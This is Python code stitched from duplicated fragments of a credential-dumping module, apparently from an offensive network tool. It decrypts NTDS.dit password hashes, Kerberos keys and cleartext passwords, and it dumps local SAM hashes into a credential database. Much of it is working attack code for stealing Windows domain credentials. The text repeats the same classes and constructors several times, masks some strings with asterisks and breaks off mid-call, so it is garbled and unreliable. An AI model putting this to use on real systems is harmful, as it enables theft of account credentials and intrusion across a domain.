def __init__(self,
ntdsFile,
bootKey,
logger,
isRemote=False,
history=False,
noLMHash=True,
remoteOps=None,
useVSSMethod=False,
justNTLM=False,
pwdLastSet=False,
resumeSession=None,
outputFileName=None):
self.__bootKey = bootKey
self.__logger = logger
self.__NTDS = ntdsFile
self.__history = history
self.__noLMHash = noLMHash
self.__useVSSMethod = useVSSMethod
self.__remoteOps = remoteOps
self.__pwdLastSet = pwdLastSet
if self.__NTDS is not None:
self.__ESEDB = ESENT_DB(ntdsFile, isRemote=isRemote)
self.__cursor = self.__ESEDB.openTable('datatable')
self.__tmpUsers = list()
self.__PEK = list()
self.__cryptoCommon = CryptoCommon()
self.__kerberosKeys = OrderedDict()
self.__clearTextPwds = OrderedDict()
self.__justNTLM = justNTLM
self.__savedSessionFile = resumeSession
self.__resumeSessionFile = None
self.__outputFileName = outputFileName
def __init__(self, securityFile, bootKey, logger, remoteOps = None, isRemote = False):
OfflineRegistry.__init__(self,securityFile, isRemote)
self.__hashedBootKey = ''
self.__bootKey = bootKey
self.__LSAKey = ''
self.__NKLMKey = ''
self.__isRemote = isRemote
self.__vistaStyle = True
self.__cryptoCommon = CryptoCommon()
self.__securityFile = securityFile
self.__logger = logger
self.__remoteOps = remoteOps
self.__cachedItems = []
self.__secretItems = []
def __init__(self,
samFile,
bootKey,
logger,
db,
host,
hostname,
isRemote=False):
OfflineRegistry.__init__(self, samFile, isRemote)
self.__samFile = samFile
self.__hashedBootKey = ''
self.__bootKey = bootKey
self.__logger = logger
self.__db = db
self.__host = host
self.__hostname = hostname
self.__cryptoCommon = CryptoCommon()
self.__itemsFound = {}
def __init__(self, samFile, bootKey, logger, db, host, hostname, isRemote = False):
OfflineRegistry.__init__(self, samFile, isRemote)
self.__samFile = samFile
self.__hashedBootKey = ''
self.__bootKey = bootKey
self.__logger = logger
self.__db = db
self.__host = host
self.__hostname = hostname
self.__cryptoCommon = CryptoCommon()
self.__itemsFound = {}
def __init__(self, ntdsFile, bootKey, logger, isRemote=False, history=False, noLMHash=True, remoteOps=None,
useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None):
self.__bootKey = bootKey
self.__logger = logger
self.__NTDS = ntdsFile
self.__history = history
self.__noLMHash = noLMHash
self.__useVSSMethod = useVSSMethod
self.__remoteOps = remoteOps
self.__pwdLastSet = pwdLastSet
if self.__NTDS is not None:
self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote)
self.__cursor = self.__ESEDB.openTable('datatable')
self.__tmpUsers = list()
self.__PEK = list()
self.__cryptoCommon = CryptoCommon()
self.__kerberosKeys = OrderedDict()
self.__clearTextPwds = OrderedDict()
self.__justNTLM = justNTLM
self.__savedSessionFile = resumeSession
self.__resumeSessionFile = None
self.__outputFileName = outputFileName
class NTDSHashes:
NAME_TO_INTERNAL = {
'uSNCreated':'ATTq131091',
'uSNChanged':'ATTq131192',
'name':'ATTm3',
'objectGUID':'ATTk589826',
'objectSid':'ATTr589970',
'userAccountControl':'ATTj589832',
'primaryGroupID':'ATTj589922',
'accountExpires':'ATTq589983',
'logonCount':'ATTj589993',
'sAMAccountName':'ATTm590045',
'sAMAccountType':'ATTj590126',
'lastLogonTimestamp':'ATTq589876',
'userPrincipalName':'ATTm590480',
'unicodePwd':'ATTk589914',
'dBCSPwd':'ATTk589879',
'ntPwdHistory':'ATTk589918',
'lmPwdHistory':'ATTk589984',
'pekList':'ATTk590689',
'supplementalCredentials':'ATTk589949',
'pwdLastSet':'ATTq589920',
}
NAME_TO_ATTRTYP = {
'userPrincipalName': 0x90290,
'sAMAccountName': 0x900DD,
'unicodePwd': 0x9005A,
'dBCSPwd': 0x90037,
'ntPwdHistory': 0x9005E,
'lmPwdHistory': 0x900A0,
'supplementalCredentials': 0x9007D,
'objectSid': 0x90092,
}
ATTRTYP_TO_ATTID = {
'userPrincipalName': '1.2.840.113556.1.4.656',
'sAMAccountName': '1.2.840.113556.1.4.221',
'unicodePwd': '1.2.840.113556.1.4.90',
'dBCSPwd': '1.2.840.113556.1.4.55',
'ntPwdHistory': '1.2.840.113556.1.4.94',
'lmPwdHistory': '1.2.840.113556.1.4.160',
'supplementalCredentials': '1.2.840.113556.1.4.125',
'objectSid': '1.2.840.113556.1.4.146',
'pwdLastSet': '1.2.840.113556.1.4.96',
}
KERBEROS_TYPE = {
1:'dec-cbc-crc',
3:'des-cbc-md5',
17:'aes128-cts-hmac-sha1-96',
18:'aes256-cts-hmac-sha1-96',
0xffffff74:'rc4_hmac',
}
INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.iteritems())
SAM_NORMAL_USER_ACCOUNT = 0x30000000
SAM_MACHINE_ACCOUNT = 0x30000001
SAM_TRUST_ACCOUNT = 0x30000002
ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT)
class PEKLIST_ENC(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('EncryptedPek',':'),
)
class PEKLIST_PLAIN(Structure):
structure = (
('Header','32s=""'),
('DecryptedPek',':'),
)
class PEK_KEY(Structure):
structure = (
('Header','1s=""'),
('Padding','3s=""'),
('Key','16s=""'),
)
class CRYPTED_HASH(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('EncryptedHash','16s=""'),
)
class CRYPTED_HISTORY(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('EncryptedHash',':'),
)
class CRYPTED_BLOB(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('EncryptedHash',':'),
)
def __init__(self, ntdsFile, bootKey, logger, isRemote=False, history=False, noLMHash=True, remoteOps=None,
useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None):
self.__bootKey = bootKey
self.__logger = logger
self.__NTDS = ntdsFile
self.__history = history
self.__noLMHash = noLMHash
self.__useVSSMethod = useVSSMethod
self.__remoteOps = remoteOps
self.__pwdLastSet = pwdLastSet
if self.__NTDS is not None:
self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote)
self.__cursor = self.__ESEDB.openTable('datatable')
self.__tmpUsers = list()
self.__PEK = list()
self.__cryptoCommon = CryptoCommon()
self.__kerberosKeys = OrderedDict()
self.__clearTextPwds = OrderedDict()
self.__justNTLM = justNTLM
self.__savedSessionFile = resumeSession
self.__resumeSessionFile = None
self.__outputFileName = outputFileName
def getResumeSessionFile(self):
return self.__resumeSessionFile
def __getPek(self):
logging.info('Searching for pekList, be patient')
peklist = None
while True:
record = self.__ESEDB.getNextRow(self.__cursor)
if record is None:
break
elif record[self.NAME_TO_INTERNAL['pekList']] is not None:
peklist = unhexlify(record[self.NAME_TO_INTERNAL['pekList']])
break
elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
# Okey.. we found some users, but we're not yet ready to process them.
# Let's just store them in a temp list
self.__tmpUsers.append(record)
if peklist is not None:
encryptedPekList = self.PEKLIST_ENC(peklist)
md5 = hashlib.new('md5')
md5.update(self.__bootKey)
for i in range(1000):
md5.update(encryptedPekList['KeyMaterial'])
tmpKey = md5.digest()
rc4 = ARC4.new(tmpKey)
decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek']))
PEKLen = len(self.PEK_KEY())
for i in range(len( decryptedPekList['DecryptedPek'] ) / PEKLen ):
cursor = i * PEKLen
pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen])
logging.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key']))
self.__PEK.append(pek['Key'])
def __removeRC4Layer(self, cryptedHash):
md5 = hashlib.new('md5')
# PEK index can be found on header of each ciphered blob (pos 8-10)
pekIndex = hexlify(cryptedHash['Header'])
md5.update(self.__PEK[int(pekIndex[8:10])])
md5.update(cryptedHash['KeyMaterial'])
tmpKey = md5.digest()
rc4 = ARC4.new(tmpKey)
plainText = rc4.encrypt(cryptedHash['EncryptedHash'])
return plainText
def __removeDESLayer(self, cryptedHash, rid):
Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid))
Crypt1 = DES.new(Key1, DES.MODE_ECB)
Crypt2 = DES.new(Key2, DES.MODE_ECB)
decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:])
return decryptedHash
def __fileTimeToDateTime(self, t):
t -= 116444736000000000
t /= 10000000
if t < 0:
return 'never'
else:
dt = datetime.fromtimestamp(t)
return dt.strftime("%Y-%m-%d %H:%M")
def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, clearTextFile=None):
# This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
haveInfo = False
if self.__useVSSMethod is True:
if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None:
if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24:
if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
userName = '******' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
else:
userName = '******' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))
plainText = self.__removeRC4Layer(cipherText)
haveInfo = True
else:
domain = None
userName = None
for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
try:
attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
except Exception, e:
logging.debug('Failed to execute OidFromAttid with error %s' % e)
# Fallbacking to fixed table and hope for the best
attId = attr['attrTyp']
LOOKUP_TABLE = self.NAME_TO_ATTRTYP
if attId == LOOKUP_TABLE['userPrincipalName']:
if attr['AttrVal']['valCount'] > 0:
try:
domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
except:
domain = None
else:
domain = None
elif attId == LOOKUP_TABLE['sAMAccountName']:
if attr['AttrVal']['valCount'] > 0:
try:
userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
except:
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
userName = '******'
else:
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
userName = '******'
if attId == LOOKUP_TABLE['supplementalCredentials']:
if attr['AttrVal']['valCount'] > 0:
blob = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob)
if len(plainText) > 24:
haveInfo = True
if domain is not None:
userName = '******' % (domain, userName)
if haveInfo is True:
try:
userProperties = samr.USER_PROPERTIES(plainText)
except:
# On some old w2k3 there might be user properties that don't
# match [MS-SAMR] structure, discarding them
return
propertiesData = userProperties['UserProperties']
for propertyCount in range(userProperties['PropertyCount']):
userProperty = samr.USER_PROPERTY(propertiesData)
propertiesData = propertiesData[len(userProperty):]
# For now, we will only process Newer Kerberos Keys and CLEARTEXT
if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
data = kerbStoredCredentialNew['Buffer']
for credential in range(kerbStoredCredentialNew['CredentialCount']):
keyDataNew = samr.KERB_KEY_DATA_NEW(data)
data = data[len(keyDataNew):]
keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]
if self.KERBEROS_TYPE.has_key(keyDataNew['KeyType']):
answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue))
else:
answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue))
# We're just storing the keys, not printing them, to make the output more readable
# This is kind of ugly... but it's what I came up with tonight to get an ordered
# set :P. Better ideas welcomed ;)
self.__kerberosKeys[answer] = None
if keysFile is not None:
self.__writeOutput(keysFile, answer + '\n')
elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT':
# [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property
# This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.
answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le'))
self.__clearTextPwds[answer] = None
if clearTextFile is not None:
self.__writeOutput(clearTextFile, answer + '\n')
if clearTextFile is not None:
clearTextFile.flush()
if keysFile is not None:
keysFile.flush()
class SAMHashes(OfflineRegistry):
def __init__(self, samFile, bootKey, logger, db, host, hostname, isRemote = False):
OfflineRegistry.__init__(self, samFile, isRemote)
self.__samFile = samFile
self.__hashedBootKey = ''
self.__bootKey = bootKey
self.__logger = logger
self.__db = db
self.__host = host
self.__hostname = hostname
self.__cryptoCommon = CryptoCommon()
self.__itemsFound = {}
def MD5(self, data):
md5 = hashlib.new('md5')
md5.update(data)
return md5.digest()
def getHBootKey(self):
logging.debug('Calculating HashedBootKey from SAM')
QWERTY = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
DIGITS = "0123456789012345678901234567890123456789\0"
F = self.getValue(ntpath.join('SAM\Domains\Account','F'))[1]
domainData = DOMAIN_ACCOUNT_F(F)
rc4Key = self.MD5(domainData['Key0']['Salt'] + QWERTY + self.__bootKey + DIGITS)
rc4 = ARC4.new(rc4Key)
self.__hashedBootKey = rc4.encrypt(domainData['Key0']['Key']+domainData['Key0']['CheckSum'])
# Verify key with checksum
checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY)
if checkSum != self.__hashedBootKey[16:]:
raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')
def __decryptHash(self, rid, cryptedHash, constant):
# Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key
# plus hashedBootKey stuff
Key1,Key2 = self.__cryptoCommon.deriveKey(rid)
Crypt1 = DES.new(Key1, DES.MODE_ECB)
Crypt2 = DES.new(Key2, DES.MODE_ECB)
rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant )
rc4 = ARC4.new(rc4Key)
key = rc4.encrypt(cryptedHash)
decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:])
return decryptedHash
def dump(self):
NTPASSWORD = "******"
LMPASSWORD = "******"
if self.__samFile is None:
# No SAM file provided
return
self.__logger.success('Dumping local SAM hashes (uid:rid:lmhash:nthash)')
self.getHBootKey()
usersKey = 'SAM\\Domains\\Account\\Users'
# Enumerate all the RIDs
rids = self.enumKey(usersKey)
# Remove the Names item
try:
rids.remove('Names')
except:
pass
for rid in rids:
userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1])
rid = int(rid,16)
V = userAccount['Data']
userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le')
if userAccount['LMHashLength'] == 20:
encLMHash = V[userAccount['LMHashOffset']+4:userAccount['LMHashOffset']+userAccount['LMHashLength']]
else:
encLMHash = ''
if userAccount['NTHashLength'] == 20:
encNTHash = V[userAccount['NTHashOffset']+4:userAccount['NTHashOffset']+userAccount['NTHashLength']]
else:
encNTHash = ''
lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD)
ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD)
if lmHash == '':
lmHash = ntlm.LMOWFv1('','')
if ntHash == '':
ntHash = ntlm.NTOWFv1('','')
answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash), hexlify(ntHash))
self.__itemsFound[rid] = answer
self.__logger.highlight(answer)
self.__db.add_credential('hash', self.__hostname, userName, '{}:{}'.format(hexlify(lmHash), hexlify(ntHash)))
def export(self, fileName):
if len(self.__itemsFound) > 0:
items = sorted(self.__itemsFound)
fd = codecs.open(fileName+'.sam','w+', encoding='utf-8')
for item in items:
fd.write(self.__itemsFound[item]+'\n')
fd.close()
class NTDSHashes:
NAME_TO_INTERNAL = {
'uSNCreated': 'ATTq131091',
'uSNChanged': 'ATTq131192',
'name': 'ATTm3',
'objectGUID': 'ATTk589826',
'objectSid': 'ATTr589970',
'userAccountControl': 'ATTj589832',
'primaryGroupID': 'ATTj589922',
'accountExpires': 'ATTq589983',
'logonCount': 'ATTj589993',
'sAMAccountName': 'ATTm590045',
'sAMAccountType': 'ATTj590126',
'lastLogonTimestamp': 'ATTq589876',
'userPrincipalName': 'ATTm590480',
'unicodePwd': 'ATTk589914',
'dBCSPwd': 'ATTk589879',
'ntPwdHistory': 'ATTk589918',
'lmPwdHistory': 'ATTk589984',
'pekList': 'ATTk590689',
'supplementalCredentials': 'ATTk589949',
'pwdLastSet': 'ATTq589920',
}
NAME_TO_ATTRTYP = {
'userPrincipalName': 0x90290,
'sAMAccountName': 0x900DD,
'unicodePwd': 0x9005A,
'dBCSPwd': 0x90037,
'ntPwdHistory': 0x9005E,
'lmPwdHistory': 0x900A0,
'supplementalCredentials': 0x9007D,
'objectSid': 0x90092,
}
ATTRTYP_TO_ATTID = {
'userPrincipalName': '1.2.840.113556.1.4.656',
'sAMAccountName': '1.2.840.113556.1.4.221',
'unicodePwd': '1.2.840.113556.1.4.90',
'dBCSPwd': '1.2.840.113556.1.4.55',
'ntPwdHistory': '1.2.840.113556.1.4.94',
'lmPwdHistory': '1.2.840.113556.1.4.160',
'supplementalCredentials': '1.2.840.113556.1.4.125',
'objectSid': '1.2.840.113556.1.4.146',
'pwdLastSet': '1.2.840.113556.1.4.96',
}
KERBEROS_TYPE = {
1: 'dec-cbc-crc',
3: 'des-cbc-md5',
17: 'aes128-cts-hmac-sha1-96',
18: 'aes256-cts-hmac-sha1-96',
0xffffff74: 'rc4_hmac',
}
INTERNAL_TO_NAME = dict((v, k) for k, v in NAME_TO_INTERNAL.iteritems())
SAM_NORMAL_USER_ACCOUNT = 0x30000000
SAM_MACHINE_ACCOUNT = 0x30000001
SAM_TRUST_ACCOUNT = 0x30000002
ACCOUNT_TYPES = (SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT,
SAM_TRUST_ACCOUNT)
class PEKLIST_ENC(Structure):
structure = (
('Header', '8s=""'),
('KeyMaterial', '16s=""'),
('EncryptedPek', ':'),
)
class PEKLIST_PLAIN(Structure):
structure = (
('Header', '32s=""'),
('DecryptedPek', ':'),
)
class PEK_KEY(Structure):
structure = (
('Header', '1s=""'),
('Padding', '3s=""'),
('Key', '16s=""'),
)
class CRYPTED_HASH(Structure):
structure = (
('Header', '8s=""'),
('KeyMaterial', '16s=""'),
('EncryptedHash', '16s=""'),
)
class CRYPTED_HISTORY(Structure):
structure = (
('Header', '8s=""'),
('KeyMaterial', '16s=""'),
('EncryptedHash', ':'),
)
class CRYPTED_BLOB(Structure):
structure = (
('Header', '8s=""'),
('KeyMaterial', '16s=""'),
('EncryptedHash', ':'),
)
def __init__(self,
ntdsFile,
bootKey,
logger,
isRemote=False,
history=False,
noLMHash=True,
remoteOps=None,
useVSSMethod=False,
justNTLM=False,
pwdLastSet=False,
resumeSession=None,
outputFileName=None):
self.__bootKey = bootKey
self.__logger = logger
self.__NTDS = ntdsFile
self.__history = history
self.__noLMHash = noLMHash
self.__useVSSMethod = useVSSMethod
self.__remoteOps = remoteOps
self.__pwdLastSet = pwdLastSet
if self.__NTDS is not None:
self.__ESEDB = ESENT_DB(ntdsFile, isRemote=isRemote)
self.__cursor = self.__ESEDB.openTable('datatable')
self.__tmpUsers = list()
self.__PEK = list()
self.__cryptoCommon = CryptoCommon()
self.__kerberosKeys = OrderedDict()
self.__clearTextPwds = OrderedDict()
self.__justNTLM = justNTLM
self.__savedSessionFile = resumeSession
self.__resumeSessionFile = None
self.__outputFileName = outputFileName
def getResumeSessionFile(self):
return self.__resumeSessionFile
def __getPek(self):
logging.info('Searching for pekList, be patient')
peklist = None
while True:
record = self.__ESEDB.getNextRow(self.__cursor)
if record is None:
break
elif record[self.NAME_TO_INTERNAL['pekList']] is not None:
peklist = unhexlify(record[self.NAME_TO_INTERNAL['pekList']])
break
elif record[self.NAME_TO_INTERNAL[
'sAMAccountType']] in self.ACCOUNT_TYPES:
# Okey.. we found some users, but we're not yet ready to process them.
# Let's just store them in a temp list
self.__tmpUsers.append(record)
if peklist is not None:
encryptedPekList = self.PEKLIST_ENC(peklist)
md5 = hashlib.new('md5')
md5.update(self.__bootKey)
for i in range(1000):
md5.update(encryptedPekList['KeyMaterial'])
tmpKey = md5.digest()
rc4 = ARC4.new(tmpKey)
decryptedPekList = self.PEKLIST_PLAIN(
rc4.encrypt(encryptedPekList['EncryptedPek']))
PEKLen = len(self.PEK_KEY())
for i in range(len(decryptedPekList['DecryptedPek']) / PEKLen):
cursor = i * PEKLen
pek = self.PEK_KEY(
decryptedPekList['DecryptedPek'][cursor:cursor + PEKLen])
logging.info("PEK # %d found and decrypted: %s", i,
hexlify(pek['Key']))
self.__PEK.append(pek['Key'])
def __removeRC4Layer(self, cryptedHash):
md5 = hashlib.new('md5')
# PEK index can be found on header of each ciphered blob (pos 8-10)
pekIndex = hexlify(cryptedHash['Header'])
md5.update(self.__PEK[int(pekIndex[8:10])])
md5.update(cryptedHash['KeyMaterial'])
tmpKey = md5.digest()
rc4 = ARC4.new(tmpKey)
plainText = rc4.encrypt(cryptedHash['EncryptedHash'])
return plainText
def __removeDESLayer(self, cryptedHash, rid):
Key1, Key2 = self.__cryptoCommon.deriveKey(int(rid))
Crypt1 = DES.new(Key1, DES.MODE_ECB)
Crypt2 = DES.new(Key2, DES.MODE_ECB)
decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(
cryptedHash[8:])
return decryptedHash
def __fileTimeToDateTime(self, t):
t -= 116444736000000000
t /= 10000000
if t < 0:
return 'never'
else:
dt = datetime.fromtimestamp(t)
return dt.strftime("%Y-%m-%d %H:%M")
def __decryptSupplementalInfo(self,
record,
prefixTable=None,
keysFile=None,
clearTextFile=None):
# This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
haveInfo = False
if self.__useVSSMethod is True:
if record[self.
NAME_TO_INTERNAL['supplementalCredentials']] is not None:
if len(
unhexlify(record[self.NAME_TO_INTERNAL[
'supplementalCredentials']])) > 24:
if record[self.NAME_TO_INTERNAL[
'userPrincipalName']] is not None:
domain = record[self.NAME_TO_INTERNAL[
'userPrincipalName']].split('@')[-1]
userName = '******' % (domain, record[
self.NAME_TO_INTERNAL['sAMAccountName']])
else:
userName = '******' % record[
self.NAME_TO_INTERNAL['sAMAccountName']]
cipherText = self.CRYPTED_BLOB(
unhexlify(record[
self.NAME_TO_INTERNAL['supplementalCredentials']]))
plainText = self.__removeRC4Layer(cipherText)
haveInfo = True
else:
domain = None
userName = None
for attr in record['pmsgOut']['V6']['pObjects']['Entinf'][
'AttrBlock']['pAttr']:
try:
attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
except Exception, e:
logging.debug(
'Failed to execute OidFromAttid with error %s' % e)
# Fallbacking to fixed table and hope for the best
attId = attr['attrTyp']
LOOKUP_TABLE = self.NAME_TO_ATTRTYP
if attId == LOOKUP_TABLE['userPrincipalName']:
if attr['AttrVal']['valCount'] > 0:
try:
domain = ''.join(
attr['AttrVal']['pAVal'][0]['pVal']).decode(
'utf-16le').split('@')[-1]
except:
domain = None
else:
domain = None
elif attId == LOOKUP_TABLE['sAMAccountName']:
if attr['AttrVal']['valCount'] > 0:
try:
userName = ''.join(attr['AttrVal']['pAVal'][0]
['pVal']).decode('utf-16le')
except:
logging.error('Cannot get sAMAccountName for %s' %
record['pmsgOut']['V6']['pNC']
['StringName'][:-1])
userName = '******'
else:
logging.error(
'Cannot get sAMAccountName for %s' %
record['pmsgOut']['V6']['pNC']['StringName'][:-1])
userName = '******'
if attId == LOOKUP_TABLE['supplementalCredentials']:
if attr['AttrVal']['valCount'] > 0:
blob = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
plainText = drsuapi.DecryptAttributeValue(
self.__remoteOps.getDrsr(), blob)
if len(plainText) > 24:
haveInfo = True
if domain is not None:
userName = '******' % (domain, userName)
if haveInfo is True:
try:
userProperties = samr.USER_PROPERTIES(plainText)
except:
# On some old w2k3 there might be user properties that don't
# match [MS-SAMR] structure, discarding them
return
propertiesData = userProperties['UserProperties']
for propertyCount in range(userProperties['PropertyCount']):
userProperty = samr.USER_PROPERTY(propertiesData)
propertiesData = propertiesData[len(userProperty):]
# For now, we will only process Newer Kerberos Keys and CLEARTEXT
if userProperty['PropertyName'].decode(
'utf-16le') == 'Primary:Kerberos-Newer-Keys':
propertyValueBuffer = unhexlify(
userProperty['PropertyValue'])
kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(
propertyValueBuffer)
data = kerbStoredCredentialNew['Buffer']
for credential in range(
kerbStoredCredentialNew['CredentialCount']):
keyDataNew = samr.KERB_KEY_DATA_NEW(data)
data = data[len(keyDataNew):]
keyValue = propertyValueBuffer[
keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]
if self.KERBEROS_TYPE.has_key(keyDataNew['KeyType']):
answer = "%s:%s:%s" % (
userName,
self.KERBEROS_TYPE[keyDataNew['KeyType']],
hexlify(keyValue))
else:
answer = "%s:%s:%s" % (userName,
hex(keyDataNew['KeyType']),
hexlify(keyValue))
# We're just storing the keys, not printing them, to make the output more readable
# This is kind of ugly... but it's what I came up with tonight to get an ordered
# set :P. Better ideas welcomed ;)
self.__kerberosKeys[answer] = None
if keysFile is not None:
self.__writeOutput(keysFile, answer + '\n')
elif userProperty['PropertyName'].decode(
'utf-16le') == 'Primary:CLEARTEXT':
# [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property
# This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.
answer = "%s:CLEARTEXT:%s" % (
userName, unhexlify(
userProperty['PropertyValue']).decode('utf-16le'))
self.__clearTextPwds[answer] = None
if clearTextFile is not None:
self.__writeOutput(clearTextFile, answer + '\n')
if clearTextFile is not None:
clearTextFile.flush()
if keysFile is not None:
keysFile.flush()
class SAMHashes(OfflineRegistry):
def __init__(self,
samFile,
bootKey,
logger,
db,
host,
hostname,
isRemote=False):
OfflineRegistry.__init__(self, samFile, isRemote)
self.__samFile = samFile
self.__hashedBootKey = ''
self.__bootKey = bootKey
self.__logger = logger
self.__db = db
self.__host = host
self.__hostname = hostname
self.__cryptoCommon = CryptoCommon()
self.__itemsFound = {}
def MD5(self, data):
md5 = hashlib.new('md5')
md5.update(data)
return md5.digest()
def getHBootKey(self):
logging.debug('Calculating HashedBootKey from SAM')
QWERTY = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
DIGITS = "0123456789012345678901234567890123456789\0"
F = self.getValue(ntpath.join('SAM\Domains\Account', 'F'))[1]
domainData = DOMAIN_ACCOUNT_F(F)
rc4Key = self.MD5(domainData['Key0']['Salt'] + QWERTY +
self.__bootKey + DIGITS)
rc4 = ARC4.new(rc4Key)
self.__hashedBootKey = rc4.encrypt(domainData['Key0']['Key'] +
domainData['Key0']['CheckSum'])
# Verify key with checksum
checkSum = self.MD5(self.__hashedBootKey[:16] + DIGITS +
self.__hashedBootKey[:16] + QWERTY)
if checkSum != self.__hashedBootKey[16:]:
raise Exception(
'hashedBootKey CheckSum failed, Syskey startup password probably in use! :('
)
def __decryptHash(self, rid, cryptedHash, constant):
# Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key
# plus hashedBootKey stuff
Key1, Key2 = self.__cryptoCommon.deriveKey(rid)
Crypt1 = DES.new(Key1, DES.MODE_ECB)
Crypt2 = DES.new(Key2, DES.MODE_ECB)
rc4Key = self.MD5(self.__hashedBootKey[:0x10] + pack("<L", rid) +
constant)
rc4 = ARC4.new(rc4Key)
key = rc4.encrypt(cryptedHash)
decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:])
return decryptedHash
def dump(self):
NTPASSWORD = "******"
LMPASSWORD = "******"
if self.__samFile is None:
# No SAM file provided
return
self.__logger.success(
'Dumping local SAM hashes (uid:rid:lmhash:nthash)')
self.getHBootKey()
usersKey = 'SAM\\Domains\\Account\\Users'
# Enumerate all the RIDs
rids = self.enumKey(usersKey)
# Remove the Names item
try:
rids.remove('Names')
except:
pass
for rid in rids:
userAccount = USER_ACCOUNT_V(
self.getValue(ntpath.join(usersKey, rid, 'V'))[1])
rid = int(rid, 16)
V = userAccount['Data']
userName = V[userAccount['NameOffset']:userAccount['NameOffset'] +
userAccount['NameLength']].decode('utf-16le')
if userAccount['LMHashLength'] == 20:
encLMHash = V[userAccount['LMHashOffset'] +
4:userAccount['LMHashOffset'] +
userAccount['LMHashLength']]
else:
encLMHash = ''
if userAccount['NTHashLength'] == 20:
encNTHash = V[userAccount['NTHashOffset'] +
4:userAccount['NTHashOffset'] +
userAccount['NTHashLength']]
else:
encNTHash = ''
lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD)
ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD)
if lmHash == '':
lmHash = ntlm.LMOWFv1('', '')
if ntHash == '':
ntHash = ntlm.NTOWFv1('', '')
answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash),
hexlify(ntHash))
self.__itemsFound[rid] = answer
self.__logger.highlight(answer)
self.__db.add_credential(
